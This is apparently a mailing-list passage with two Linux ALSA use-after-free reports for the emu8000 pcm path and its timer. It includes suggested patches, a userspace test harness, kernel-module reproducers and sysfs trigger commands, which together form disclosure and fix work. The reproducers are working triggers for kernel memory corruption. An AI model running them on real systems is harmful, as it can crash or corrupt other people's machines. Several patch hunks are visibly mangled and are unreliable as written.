- Remove side: snd_device_free() -> snd_pcm_dev_disconnect() (pcm.c:1085-1120) stops running streams and unregisters the device but has no ref_count wait and no f_op replacement; snd_pcm_free() -> snd_pcm_free_stream() kfrees each substream
(826) and kfree(pcm) (863). Note the substream runtime is not even freed there (only snd_pcm_detach_substream() frees it on the release path), so the dangling fd keeps a leaked runtime plus two freed back-pointers.

- Whole-card removal nests the same free inside snd_device_disconnect_all() via the seq device's synchronous device_del() unbind; with f_ops already swapped only in-flight syscalls can hit the freed objects.

- The HDA codec path is the protected counter-example:
hda_codec_driver_remove() waits snd_refcount_sync(&codec->pcm_ref)
+ snd_power_sync_ref() (bind.c:163-166) BEFORE codec_release_pcms() runs snd_device_free(); the emu8000/AOA removal paths have no equivalent and emu8k_pcm_open() pins no sub-driver module.

* Trigger model

Root runs rmmod snd_emu8000_synth (or sysfs unbind; on PowerMac the analogous i2sbus codec detach runs automatically) while a /dev/snd/pcmC*D1p fd is open or a pcm syscall is in flight. The hardware requirement is an AWE64-class card with the emu8000 synth sub-driver (mem_size > 0). Consequence: use-after-free on snd_pcm/snd_pcm_substream (mutex_lock on freed open_mutex, snd_power_wait on freed card pointer, ops function-pointer loads) and, after an rmmod, indirect calls into the unmapped module text from the release path.

* Reproducer (attached: fwmr04.c, fwmr_test.c) and results on 7.3

fwmr04.c creates a real pcm through snd_pcm_new() with a module-owned ops table, registers it with snd_device_register() (emu8000_pcm.c:637-651 shape) and implements the remove side as the verbatim emu8000_synth.c:92 snd_device_free(card, pcm); fwmr_test mr04pcm opens /dev/snd/pcmC1D0p through the real snd_pcm_open() path (ref_count=1), probes with PVERSION/INFO, holds the fd across the free, then issues INFO and closes.

Results (7.3, 2 vCPU, KASAN): 16 slab-use-after-free reports -- snd_pcm_release+0x3a/+0x4d (pcm_file->substream / substream->pcm), snd_pcm_get_state+0x12..0x6f via snd_pcm_common_ioctl, snd_power_ref_and_wait+0x87/+0x9d (pcm->card), snd_refcount_put, __wake_up_common (wake_up(&pcm->open_wait) on the freed pcm) -- plus "ops->close reached on post-free release path" from the module. Reopen after the free returns -ENODEV as expected.

* Suggested patch

Give struct snd_pcm a kref: the card device entry holds the initial reference (dropped by snd_pcm_free()), each successful open takes a reference in snd_pcm_attach_substream() and each close puts it at the tail of snd_pcm_release() (after the last pcm use); the whole free body -- notify, private_free, preallocation cleanup, both stream frees and kfree(pcm) -- moves behind kref release. A concurrent snd_device_free() then cannot free a pcm that still has open files, which is exactly the audited defect. The complete patch against 7.3 (include/sound/pcm.h, sound/core/pcm.c, sound/core/pcm_native.c) follows (also kept as patch/0001-fw-mr04.patch); happy to rework per review.

---- patch begins ----
---

include/sound/pcm.h +1 -0
@@ -539,6 +539,7 @@
 	char id[64];
 	char name[80];
 	struct snd_pcm_str streams[2];
+	struct kref ref; /* device + open files; frees the whole struct */
 	struct mutex open_mutex;
 	wait_queue_head_t open_wait;
 	void *private_data;
sound/core/pcm.c +5 -4
@@ -717,6 +717,7 @@
 	pcm->card = card;
 	pcm->device = device;
 	pcm->internal = internal;
+	kref_init(&pcm->ref);
 	mutex_init(&pcm->open_mutex);
 	init_waitqueue_head(&pcm->open_wait);
 	INIT_LIST_HEAD(&pcm->list);
@@ -849,10 +850,16 @@
 #define pcm_call_notify(pcm, call) do {} while (0)
 #endif
 
-static int snd_pcm_free(struct snd_pcm *pcm)
-{
-	if (!pcm)
-		return 0;
 
 
+static void snd_pcm_free_up(struct kref *ref)
+{
+	struct snd_pcm *pcm = container_of(ref, struct snd_pcm, ref);
+
 	if (!pcm->internal)

pcm_call_notify(pcm, n_unregister);
if (pcm->private_free)
@@ -861,6 +868,13 @@
snd_pcm_free_stream(&pcm->streams[SNDRV_PCM_STREAM_PLAYBACK]); snd_pcm_free_stream(&pcm->streams[SNDRV_PCM_STREAM_CAPTURE]); kfree(pcm);
+}
+
+static int snd_pcm_free(struct snd_pcm *pcm)
+{
+ if (!pcm)
+ return 0;
+ kref_put(&pcm->ref, snd_pcm_free_up);
return 0;
}

@@ -968,6 +982,7 @@
substream->f_flags = file->f_flags; substream->pid = get_pid(task_pid(current)); pstr->substream_opened++;
+ kref_get(&pcm->ref);
*rsubstream = substream;
#ifdef CONFIG_SND_PCM_XRUN_DEBUG
substream->xrun_counter = 0;

sound/core/pcm_native.c +2 -0
@@ -2960,6 +2960,7 @@
 
       __error:
 	module_put(pcm->card->module);
+	kref_put(&pcm->ref, snd_pcm_free_up);
       __error2:
       	snd_card_file_remove(pcm->card, file);
       __error1:
@@ -2988,6 +2989,7 @@
 	wake_up(&pcm->open_wait);
 	module_put(pcm->card->module);
 	snd_card_file_remove(pcm->card, file);
+	kref_put(&pcm->ref, snd_pcm_free_up);
 	return 0;
 }
 

---- patch ends ----

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* fwmr_test.c - userspace driver for the sound/firewire FW-MR-* race
* verification harnesses (docs/manual-review-sound-firewire-2026-11-26.md). *
* Plans:
* mr02hold [secs] - FW-MR-02 deterministic release-path variant: open

 *                      /dev/snd/hwC0D0 (real snd_hwdep_open, used=1), read
 *                      once, HOLD the fd across the kernel-side
 *                      snd_emux_free() (host script triggers it), then
 *                      ioctl + close on the freed hwdep -> real
 *                      snd_hwdep_release() derefs freed hw (hw->card->module,
 *                      mutex_lock(&hw->open_mutex), hw->used--).
 *   mr02hammer [iters] - FW-MR-02 in-flight variant (same shape as the
 *                      synth report's mr03, re-attributed): open + ioctl
 *                      hammer while the free runs on the other side.
 *   mr03midi [secs]  - FW-MR-03: poll for /dev/snd/midiC0D0, open
 *                      O_WRONLY|O_NONBLOCK (real snd_rawmidi_open ->
 *                      snd_virmidi_output_open INIT_WORK), write MIDI bytes
 *                      (real snd_rawmidi_output_trigger -> queue_work
 *                      system_highpri_wq), HOLD across fw3_free, write
 *                      again (in-flight work + write path on freed rmidi),
 *                      close (snd_rawmidi_release on freed rmidi).
 *   mr04pcm [secs]   - FW-MR-04: poll for /dev/snd/pcmC1D0p, open (real
 *                      snd_pcm_open, ref_count=1), hammer
 *                      SNDRV_PCM_IOCTL_PVERSION/PINFO, HOLD across fw4_free
 *                      (snd_device_free(card, pcm)), ioctl + close on the
 *                      freed substream/pcm (real snd_pcm_release path).
 *   mr01read [secs]  - FW-MR-01 reader side: hammer
 *                      SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on
 *                      /dev/snd/controlC0 while a dangling (freed but
 *                      still-linked) jack kcontrol sits in card->controls.
 *   mr06storm [secs] - FW-MR-06 writer side: loop SNDRV_CTL_IOCTL_ELEM_ADD +
 *                      ELEM_REMOVE of a user control with iface=CARD whose
 *                      name is copied from an existing CARD control (same
 *                      ctl_hash key as the jack controls the reconfig probe
 *                      looks up locklessly in get_available_index()).

* waitdev <path> [timeout_ms] - poll until a device node appears.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"

static void waitdev(const char *path, int timeout_ms)

{
	int waited = 0;
	struct stat st;

	while (stat(path, &st) != 0) {
		if (waited >= timeout_ms)
			return;
		usleep(20000);
		waited += 20;
	}
}

/* ---- FW-MR-02 ---- */

static int plan_mr02hold(int secs)

{
	int fd;
	unsigned int ver = 0;

	waitdev("/dev/snd/hwC0D0", 8000);
	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR02HOLD: fd open (hw->used=1), VERSION probe done\n");
	fflush(stdout);
	printf("MR02HOLD: holding fd for %ds (host frees emux now)\n", secs);
	fflush(stdout);
	sleep(secs);
	printf("MR02HOLD: ioctl on freed hwdep (in snd_hwdep_ioctl path)\n");
	fflush(stdout);
	ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
	printf("MR02HOLD: closing -> real snd_hwdep_release() on freed hw\n");
	fflush(stdout);
	close(fd);
	printf("MR02HOLD: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/hwC0D0", O_RDWR));
	printf("MR02HOLD: done\n");
	return 0;
}

static int plan_mr02hammer(int iters)

{
	int fd, i;
	unsigned int ver = 0;

	waitdev("/dev/snd/hwC0D0", 8000);
	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR02HAMMER: %d ioctl iterations\n", iters);
	fflush(stdout);
	for (i = 0; i < iters; i++) {
		ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
		if ((i % 256) == 0) {
			printf("MR02HAMMER: iter %d\n", i);
			fflush(stdout);
		}
		usleep(100);
	}
	printf("MR02HAMMER: closing\n");
	fflush(stdout);
	close(fd);
	sleep(2);
	close(open("/dev/snd/hwC0D0", O_RDWR));
	printf("MR02HAMMER: done\n");
	return 0;
}

/* ---- FW-MR-03 ---- */

static int plan_mr03midi(int secs)

{
	int fd, n = 0;
	unsigned char msg[3] = { 0x90, 0x40, 0x7f };

	waitdev("/dev/snd/midiC0D0", 15000);
	fd = open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK);
	if (fd < 0) {
		fprintf(stderr, "open midiC0D0: %s\n", strerror(errno));
		return 1;
	}
	printf("MR03MIDI: opened output; writing bytes (arms output_work)\n");
	fflush(stdout);
	/* a few writes: each runs snd_rawmidi_kernel_write1 ->
	 * snd_rawmidi_output_trigger(substream, 1) -> queue_work */
	for (n = 0; n < 32; n++)
		{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
	printf("MR03MIDI: %d writes queued; holding fd for %ds "
		"(host frees emux now)\n", n, secs);
	fflush(stdout);
	sleep(secs);
	printf("MR03MIDI: writing again on freed rmidi\n");
	fflush(stdout);
	for (n = 0; n < 8; n++)
		{ ssize_t wr_ = write(fd, msg, sizeof(msg)); (void)wr_; }
	printf("MR03MIDI: closing -> real snd_rawmidi_release() on freed rmidi\n");
	fflush(stdout);
	close(fd);
	printf("MR03MIDI: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/midiC0D0", O_WRONLY | O_NONBLOCK));
	printf("MR03MIDI: done\n");
	return 0;
}

/* ---- FW-MR-04 ---- */

static int plan_mr04pcm(int secs)

{
	int fd, i;
	unsigned int ver = 0;
	struct snd_pcm_info info;

	waitdev("/dev/snd/pcmC1D0p", 15000);
	fd = open("/dev/snd/pcmC1D0p", O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open pcmC0D0p: %s\n", strerror(errno));
		return 1;
	}
	printf("MR04PCM: opened via real snd_pcm_open (ref_count=1)\n");
	fflush(stdout);
	for (i = 0; i < 64; i++) {
		ioctl(fd, SNDRV_PCM_IOCTL_PVERSION, &ver);
		memset(&info, 0, sizeof(info));
		ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
		usleep(1000);
	}
	printf("MR04PCM: 64 probe ioctls done; holding fd for %ds "
		"(host frees pcm now)\n", secs);
	fflush(stdout);
	sleep(secs);
	printf("MR04PCM: INFO ioctl on freed substream/pcm (in snd_pcm_info)\n");
	fflush(stdout);
	memset(&info, 0, sizeof(info));
	ioctl(fd, SNDRV_PCM_IOCTL_INFO, &info);
	printf("MR04PCM: closing -> real snd_pcm_release() on freed objects\n");
	fflush(stdout);
	close(fd);
	printf("MR04PCM: reopen attempt (minor unregistered -> ENODEV)\n");
	fflush(stdout);
	close(open("/dev/snd/pcmC1D0p", O_WRONLY));
	printf("MR04PCM: done\n");
	return 0;
}

/* ---- FW-MR-01 / FW-MR-06 control-face helpers ---- */

static int ctl_open(void)

{
	int fd = open("/dev/snd/controlC0", O_RDWR);

	if (fd < 0)
		fprintf(stderr, "open controlC0: %s\n", strerror(errno));
	return fd;
}

static int plan_mr01read(int secs)

{
	int fd, i, n, err;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;
	unsigned long until = (unsigned long)time(NULL) + secs;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	ids = calloc(256, sizeof(*ids));
	printf("MR01READ: hammering ELEM_LIST+ELEM_INFO for %ds\n", secs);
	fflush(stdout);
	i = 0;
	while ((unsigned long)time(NULL) < until) {
		memset(&list, 0, sizeof(list));
		list.offset = 0;
		list.space = 256;
		list.pids = ids;
		err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
		if (err < 0)
			break;
		for (n = 0; n < (int)list.count && n < 256; n++) {
			memset(&info, 0, sizeof(info));
			info.id = ids[n];
			ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
		}
		if ((++i % 64) == 0) {
			printf("MR01READ: round %d (count=%u)\n", i, list.count);
			fflush(stdout);
		}
		usleep(2000);
	}
	printf("MR01READ: done (%d rounds)\n", i);
	free(ids);
	close(fd);
	return 0;
}

static int plan_mr06storm(int secs)

{
	int fd, card, i, added = 0;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;
	struct snd_ctl_elem_id remove_id;
	unsigned long until = (unsigned long)time(NULL) + secs;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	/* take the name of an existing CARD-interface control so the user
	 * control shares the ctl_hash key of the jack controls that the
	 * reconfig probe's get_available_index() looks up locklessly */
	ids = calloc(256, sizeof(*ids));
	memset(&list, 0, sizeof(list));
	list.offset = 0;
	list.space = 256;
	list.pids = ids;
	if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list) < 0) {
		fprintf(stderr, "ELEM_LIST: %s\n", strerror(errno));
		free(ids);
		close(fd);
		return 1;
	}
	memset(&info, 0, sizeof(info));
	for (i = 0; i < (int)list.count && i < 256; i++) {
		info.id = ids[i];
		if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info) < 0)
			continue;
		if (info.id.iface == SNDRV_CTL_ELEM_IFACE_CARD)
			break;
	}
	if (i >= (int)list.count) {
		fprintf(stderr, "no CARD control found\n");
		free(ids);
		close(fd);
		return 1;
	}
	printf("MR06STORM: adding/removing iface=CARD user control '%s' "
		"for %ds\n", info.id.name, secs);
	fflush(stdout);

	i = 0;
	while ((unsigned long)time(NULL) < until) {
		memset(&info, 0, sizeof(info));
		info.id.iface = SNDRV_CTL_ELEM_IFACE_CARD;
		strncpy((char *)info.id.name, "Headphone Jack",
			sizeof(info.id.name) - 1);
		info.type = SNDRV_CTL_ELEM_TYPE_BOOLEAN;
		info.count = 1;
		info.owner = 0;
		if (ioctl(fd, SNDRV_CTL_IOCTL_ELEM_ADD, &info) < 0)
			goto drop;
		added++;
		remove_id = info.id;
		ioctl(fd, SNDRV_CTL_IOCTL_ELEM_REMOVE, &remove_id);
drop:
		if ((++i % 256) == 0) {
			printf("MR06STORM: round %d (added=%d)\n", i, added);
			fflush(stdout);
		}
		usleep(500);
	}
	(void)card;
	printf("MR06STORM: done (%d rounds, %d added)\n", i, added);
	free(ids);
	close(fd);
	return 0;
}

static int plan_mr01dump(void)

{
	int fd, n, err;
	struct snd_ctl_elem_list list;
	struct snd_ctl_elem_id *ids;
	struct snd_ctl_elem_info info;

	fd = ctl_open();
	if (fd < 0)
		return 1;
	ids = calloc(256, sizeof(*ids));
	memset(&list, 0, sizeof(list));
	list.offset = 0;
	list.space = 256;
	list.pids = ids;
	err = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &list);
	if (err < 0) {
		printf("MR01DUMP: ELEM_LIST failed (%s)\n", strerror(errno));
		free(ids);
		close(fd);
		return 1;
	}
	printf("MR01DUMP: controls_count=%u (dangling entry stays listed)\n",
		list.count);
	fflush(stdout);
	for (n = 0; n < (int)list.count && n < 256; n++) {
		memset(&info, 0, sizeof(info));
		info.id = ids[n];
		ioctl(fd, SNDRV_CTL_IOCTL_ELEM_INFO, &info);
		printf("MR01DUMP: numid=%-5u iface=%d %s\n",
			ids[n].numid, ids[n].iface, ids[n].name);
		fflush(stdout);
	}
	free(ids);
	close(fd);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: fwmr_test <plan> [arg]\n");
		return 2;
	}
	if (!strcmp(argv[1], "mr02hold"))
		return plan_mr02hold(argc > 2 ? atoi(argv[2]) : 4);
	if (!strcmp(argv[1], "mr02hammer"))
		return plan_mr02hammer(argc > 2 ? atoi(argv[2]) : 20000);
	if (!strcmp(argv[1], "mr03midi"))
		return plan_mr03midi(argc > 2 ? atoi(argv[2]) : 6);
	if (!strcmp(argv[1], "mr04pcm"))
		return plan_mr04pcm(argc > 2 ? atoi(argv[2]) : 6);
	if (!strcmp(argv[1], "mr01dump"))
		return plan_mr01dump();
	if (!strcmp(argv[1], "mr01read"))
		return plan_mr01read(argc > 2 ? atoi(argv[2]) : 15);
	if (!strcmp(argv[1], "mr06storm"))
		return plan_mr06storm(argc > 2 ? atoi(argv[2]) : 60);
	if (!strcmp(argv[1], "waitdev"))
		return (waitdev(argv[2], argc > 3 ? atoi(argv[3]) : 10000), 0);
	fprintf(stderr, "unknown plan %s\n", argv[1]);
	return 2;
}

// SPDX-License-Identifier: GPL-2.0
/*
* fwmr04.c - dynamic verification harness for audit case FW-MR-04
* (docs/manual-review-sound-firewire-2026-11-26.md, v4):
*
* "独立子驱动 snd_device_free(card, pcm) 与在途 /dev/snd/pcmC*D1p 操作间
* 的 snd_pcm/substream Use-After-Free"
*
* The real driver (sound/isa/sb/emu8000_pcm.c) needs AWE64 ISA hardware,
* which QEMU x86 cannot provide. This harness therefore reproduces the
* audited ALSA-core release chain FAITHFULLY with the real core code and a
* module-owned ops table, exactly the structural shape of
* snd_emu8000_remove()/snd_emu8000_pcm_new():
*

 *   probe:  snd_pcm_new(card, ...)            (real core)
 *           snd_pcm_set_ops(pcm, PLAYBACK, &module_ops)   <- ops live HERE
 *           pcm->private_free = ...
 *           snd_device_register(card, pcm)    (real core)
 *           snd_card_register(card)
 *   remove: snd_device_free(card, pcm)        <- emu8000_synth.c:92 verbatim
 *             -> snd_pcm_dev_disconnect() (no ref_count wait, no f_op swap)
 *             -> snd_pcm_free(): kfree(substream)@pcm.c:826, kfree(pcm)@863
 *
 * Userspace (fwmr_test mr04pcm) opens /dev/snd/pcmC0D0p through the REAL
 * snd_pcm_open()/snd_pcm_open_file() path (ref_count=1, f_op unchanged),
 * hammers SNDRV_PCM_IOCTL_PVERSION/INFO, keeps the fd across the free, then
 * closes -- running the real snd_pcm_release():
 *   pcm_native.c:2976  pcm_file->substream      (freed substream)
 *   pcm_native.c:2979  substream->pcm           (freed pcm)  <- UAF read
 *   pcm_native.c:2984  mutex_lock(&pcm->open_mutex)          <- UAF (freed lock)
 *   pcm_native.c:2985  snd_pcm_release_substream() -> ops->close (module)

* Expected KASAN: slab-use-after-free on the kmalloc-1024-ish pcm/substream
* caches, plus the in-flight ioctl variant (snd_pcm_info reads
* substream->pcm->card on the freed pcm).
*
* Zero kernel source modification.
*/
#define pr_fmt(fmt) "FWMR04: " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/pcm.h>

static struct device *parent;
static struct snd_card *card;
static struct snd_pcm *pcm;

/* minimal legal hw template -- the emu8000_pcm.c:235
* runtime->hw = emu8k_pcm_hw analog (without it,
* snd_pcm_hw_constraints_complete() fails and the real open path bails) */

static struct snd_pcm_hardware f4_hw = {
	.info = SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_BLOCK_TRANSFER |
		SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID,
	.formats = SNDRV_PCM_FMTBIT_S16_LE,
	.rates = SNDRV_PCM_RATE_48000,
	.rate_min = 48000,
	.rate_max = 48000,
	.channels_min = 1,
	.channels_max = 1,
	.buffer_bytes_max = 4096,
	.period_bytes_min = 256,
	.period_bytes_max = 4096,
	.periods_min = 1,
	.periods_max = 1024,
};

static int f4_open(struct snd_pcm_substream *subs)

{
	subs->runtime->hw = f4_hw;
	pr_info("ops->open(substream=%p) via real snd_pcm_open path\n", subs);
	return 0;
}

static int f4_close(struct snd_pcm_substream *subs)

{
	/*
	 * Called via snd_pcm_release_substream() -> substream->ops->close
	 * AFTER snd_pcm_free() already kfree()d substream and pcm: reaching
	 * this print at all means the audited dangling-fd release path ran.
	 */
	pr_info("ops->close() reached on post-free release path\n");
	return 0;
}

static int f4_prepare(struct snd_pcm_substream *subs)

{
	return 0;
}
static const struct snd_pcm_ops f4_ops = {
	.open = f4_open,
	.close = f4_close,
	.prepare = f4_prepare,
};

/* emu8000_pcm.c snd_emu8000_pcm_free() analog: clear owner pointer */ static void f4_pcm_free(struct snd_pcm *p)

{
	pr_info("pcm->private_free ran during snd_pcm_free()\n");
}

static int f4_pcm_setup(void)

{
	int err;

	err = snd_pcm_new(card, "fwmr04 pcm", 0, 1, 0, &pcm);
	if (err < 0)
		return err;
	pcm->private_data = NULL;
	pcm->private_free = f4_pcm_free;
	snd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_PLAYBACK, &f4_ops);
	/* emu8000_pcm.c:648 calls snd_device_register() before the final
	 * card register, unchecked -- the pcm stays in BUILD state here and
	 * is registered by snd_device_register_all() inside
	 * snd_card_register() below (same as the real emu8000 flow). */
	snd_device_register(card, pcm);
	err = snd_card_register(card);
	if (err < 0)
		return err;
	pr_info("pcm registered: /dev/snd/pcmC1D0p (ops live in THIS module)\n");
	return 0;
}

/* ---- FW-MR-04 release trigger: emu8000_synth.c:92 verbatim ---- */

static int fw4_free_set(const char *val, const struct kernel_param *kp)

{
	if (!pcm)
		return -ENODEV;
	pr_info("calling snd_device_free(card, pcm) with fd open "
		"(emu8000_synth.c:92 shape)\n");
	snd_device_free(card, pcm);
	pcm = NULL;
	pr_info("snd_device_free() done: substream + pcm kfree()d, fd dangling\n");
	return 0;
}

static const struct kernel_param_ops fw4_free_ops = { .set = fw4_free_set }; module_param_cb(fw4_free, &fw4_free_ops, NULL, 0200);

/* ---- module plumbing ---- */

static int __init fwmr04_init(void)

{
	int err;

	parent = root_device_register("fwmr04");
	if (IS_ERR(parent))
		return PTR_ERR(parent);
	err = snd_card_new(parent, 1, "fwmr04", THIS_MODULE, 0, &card);
	if (err < 0) {
		root_device_unregister(parent);
		parent = NULL;
		return err;
	}
	return f4_pcm_setup();
}

static void __exit fwmr04_exit(void)

{
	if (pcm) {
		snd_device_free(card, pcm);
		pcm = NULL;
	}
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	if (parent) {
		root_device_unregister(parent);
		parent = NULL;
	}
}

module_init(fwmr04_init);
module_exit(fwmr04_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("FW-MR-04 pcm snd_device_free race verification harness");

author
#131 lore raw

ALSA: emu8000: the self-rearming emu8k_pcm timer survives trigger-stop and fires on freed memory after close (UAF)

In reply to Greg KH

The Emu8000 playback pcm driver drives its period handling with a timer that re-arms itself from inside its own callback: emu8k_pcm_timer_func() mod_timer()s itself for the next jiffy unconditionally while holding rec->timer_lock (emu8000_pcm.c:200), without checking rec->timer_running or rec->running anywhere. The stop path, stop_voice() (trigger STOP, emu8000_pcm.c:357-369), only performs a non-synchronizing timer_delete() under the same lock, and emu8k_pcm_close() (emu8000_pcm.c:246-252) frees the struct with no timer cleanup at all. If trigger-stop executes while the per-jiffy callback is already dequeued and in flight (it runs once per jiffy while playing), the callback re-arms the timer AFTER the stop believes it dead; the subsequent close() then kfree()s a struct with an armed timer, and at most one jiffy later the timer core executes the callback on the freed memory -- reading rec->timer_lock and the position fields and re-arming the freed timer_list, which chains the freed object back into the timer wheel and corrupts the timer subsystem state.

We verified the mechanism on vanilla 7.3 with a 1:1 replica of the three audited fragments (identical lock/flag semantics, the real timer machinery) on a lookalike struct, because the real driver needs AWE64 ISA hardware that a QEMU x86 guest cannot provide; the replica is explicitly labeled as such in the attached module. Driving the audited interleaving ("stop completes while the callback is already dequeued, callback body runs afterwards") hit immediately: three KASAN slab-use-after-free reports in __run_timers (ksoftirqd context --

Write of size 8 on the freed struct, i.e. the freed timer_list being

dequeued/re-armed by the timer core itself), after which the guest's timer subsystem was wedged and the VM stopped making progress -- the audited "freed timer_list re-arm corrupts the timer core" consequence, demonstrated end to end. Natural hammering (300 start/stop/close rounds without any artificial delay) did not hit, as expected for a per-jiffy in-flight window of a few microseconds; we report that negative honestly. Triggering needs no privileges beyond normal device-node permissions (audio group) on an AWE64-class card with DRAM; no root, no module removal, no fault injection.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 release tarball, KASAN enabled, QEMU/KVM x86_64 guest. sound/isa/sb/emu8000_pcm.c is byte-identical to mainline 7.3; the fragments below quote its line numbers. The driver requires AWE64-class ISA hardware (snd_sbawe + the snd_emu8000_synth sub-driver, mem_size > 0), which is why the dynamic evidence comes from the labeled replica module rather than the real pcm.

* Mechanism

- The callback re-arms unconditionally: emu8k_pcm_timer_func()

    (emu8000_pcm.c:183-211) under rec->timer_lock runs
    mod_timer(&rec->timer, jiffies + 1) at line 200 with no check of
    rec->timer_running or rec->running; after unlocking it calls
    snd_pcm_period_elapsed(rec->substream) (210).

- The stop path is a plain timer_delete(): stop_voice() (357-369) takes rec->timer_lock, timer_delete(&rec->timer) and clears timer_running. timer_delete() only dequeues a timer that is still pending; a callback that is already executing (or waiting for the lock) on another CPU is not waited for and will run to completion afterwards -- re-arming the timer from inside its body.

- The close path frees without cleanup: emu8k_pcm_close() (246-252) does kfree(rec) directly. Nothing in the pcm core touches rec->timer either: snd_pcm_free_stream() only handles the separate internal snd_pcm_timer.

- The escape interleaving: stop_voice() runs while the callback has already been dequeued for execution on another CPU -> timer_delete() is a no-op -> the callback then takes the lock, mod_timer() re-arms (timer_running is now 0 but nothing checks it), and the timer fires again <=1 jiffy later, forever, unless a second stop lands exactly in the callback's non-re-arm window -- which the immediately following close() prevents by freeing rec.

- The stop path itself is reachable both from

    SNDRV_PCM_IOCTL_DROP/close (snd_pcm_release_substream() ->
    snd_pcm_drop() -> snd_pcm_stop() -> snd_pcm_do_stop() invokes
    TRIGGER_STOP for RUNNING/DRAINING streams) and from device
    disconnect (snd_pcm_dev_disconnect() -> snd_pcm_stop()).

* Trigger model

A user with access to /dev/snd/pcmC*D1p (the audio group on a desktop install) drives start -> play -> SNDRV_PCM_IOCTL_DROP -> close on an AWE64-class card whose emu8000 sub-driver has created the pcm (mem_size > 0). The escape needs trigger-stop to interleave with the in-flight callback; since the callback runs every jiffy while playing, repeated start/drop/close cycles sweep the window.
Consequence: use-after-free reads/writes on struct snd_emu8k_pcm and a mod_timer() on the freed timer_list -- i.e. freed memory chained back into the kernel timer wheel -- which is memory corruption well beyond the driver itself.

* Reproducer (attached: fwmr05.c) and results on 7.3

fwmr05.c is a labeled mechanism replica: struct f5rec mirrors struct snd_emu8k_pcm's audited fields (embedded timer, timer_lock, state flags), and the three fragments are the audited semantics 1:1 -- the callback body with the unconditional L200 re-arm under the lock, stop_voice() with the non-sync timer_delete, and a close that simply kfrees. The real timer subsystem is used so the freed-timer re-arm manifests in the genuine timer core.

    # controlled escape order (the audited interleaving, force-built):
    insmod fwmr05.ko
    echo 1 > /sys/module/fwmr05/parameters/fw05_open
    echo 1 > /sys/module/fwmr05/parameters/fw05_start   # runs 2s, real fires
    echo 1 > /sys/module/fwmr05/parameters/fw05_stop
    echo 1 > /sys/module/fwmr05/parameters/fw05_inflight  # verbatim callback body post-stop
    echo 1 > /sys/module/fwmr05/parameters/fw05_close   # kfree(rec)
    # <=1 jiffy later the real timer core runs the callback on freed memory
    # natural hammering variant:
    echo 1 > /sys/module/fwmr05/parameters/fw05_nat     # 300 start/stop/close rounds

Results (7.3, 2 vCPU, KASAN): controlled order -- 3 slab-use-after-free reports in __run_timers+0x20f/0x3af/0x3bb (ksoftirqd/1; Write of size 8 = the freed timer_list being dequeued/re-armed by the timer core), then the guest timer subsystem wedged and the VM stopped progressing. Natural variant: 0 hits in 300 rounds (recorded as the honest negative; the window is the callback's in-flight span, microseconds, vs. millisecond-scale rounds).

* Suggested patch

Two-line-shaped fix: honor the stop flag inside the callback and shut the timer down synchronously before freeing the struct. The complete patch against 7.3 follows (also kept as patch/0001-fw-mr05.patch); happy to rework per review.

---- patch begins ----
---

sound/isa/sb/emu8000_pcm.c +3 -2
@@ -196,8 +196,13 @@
 		rec->period_pos += delta;
 		rec->last_ptr = ptr;
 
-		/* reprogram timer */
-		mod_timer(&rec->timer, jiffies + 1);
+		if (rec->timer_running)
+			mod_timer(&rec->timer, jiffies + 1);
 
 		/* update period */
 		if (rec->period_pos >= (int)rec->period_size) {
@@ -246,6 +251,12 @@
 static int emu8k_pcm_close(struct snd_pcm_substream *subs)
 {
 	struct snd_emu8k_pcm *rec = subs->runtime->private_data;
+	timer_shutdown_sync(&rec->timer);
 	kfree(rec);
 	subs->runtime->private_data = NULL;
 	return 0;

---- patch ends ----

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* fwmr05.c - mechanism-replica harness for audit case FW-MR-05
* (docs/manual-review-sound-firewire-2026-11-26.md, v4):
*
* "emu8k 自续跑定时器与无同步 timer_delete/close 竞争 ->
* snd_emu8k_pcm UAF 与已释放 timer_list 重挂载"
*
